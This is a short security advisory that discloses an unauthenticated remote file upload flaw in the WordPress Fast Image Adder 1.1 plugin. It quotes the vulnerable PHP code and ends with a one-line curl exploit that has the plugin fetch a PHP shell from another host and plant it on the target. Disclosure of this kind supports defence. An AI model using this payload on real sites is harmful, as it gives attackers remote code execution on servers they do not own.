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WordPress Fast Image Adder 1.1 Shell Upload

WordPress Fast Image Adder 1.1 Shell Upload
Posted Aug 5, 2015
Authored by Larry W. Cashdollar

WordPress Fast Image Adder plugin version 1.1 suffers from a remote shell upload vulnerability.

tags | exploit, remote, shell
MD5 | de68952c63d58f5b5affa45e6ae52457

WordPress Fast Image Adder 1.1 Shell Upload

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Title: Remote file upload vulnerability in fast-image-adder v1.1 Wordpress plugin
Author: Larry W. Cashdollar, @_larry0
Date: 2015-07-10
Download Site: https://wordpress.org/plugins/fast-image-adder
Vendor: https://profiles.wordpress.org/robbyslaughter/
Vendor Notified: 2015-07-10
Vendor Contact: plugins@wordpress.org
Description: Add images to your blog posts from a URL in a flash. Skip the download/upload steps and the slow WordPress dialog box.
Vulnerability:
The fast-image-adder-uploader.php file doesn't check if a user is authorized to upload files: It creates a random file name, but reports the name back to the user.

60 $upload_dir = wp_upload_dir();
61 $path = $upload_dir['path'];
62 $new_filename = $suggested_name_filesystem . "_" . random_filename() . substr($url,strrpos($url,"."));
63
64
65 // If we are not in test mode, get the file and resize it
66 if ($test_mode === FALSE)
67 {
68 $image_data = file_get_contents($url);
69 file_put_contents($path . "/" . $new_filename,$image_data);
70 resize($path . "/" . $new_filename, $new_height, $new_width, $val_maxwidth, $path . "/" . $new_filename);
71 }
72
73 $new_url = $upload_dir['url'] . "/" . $new_filename;
.
.

83 if ($test_mode === FALSE)
84 {
85 echo "Uploaded as " . $new_url;
86 }

CVEID:
OSVDB:
Exploit Code:
• $ curl http://www.example.com/wp-content/plugins/fast-image-adder/fast-image-adder-uploader.php?confirm=url&url=http://192.168.0.2/shell.php
• Shell location is reported back to the user with random filename. The url site must not interpret php, but allow it for download.

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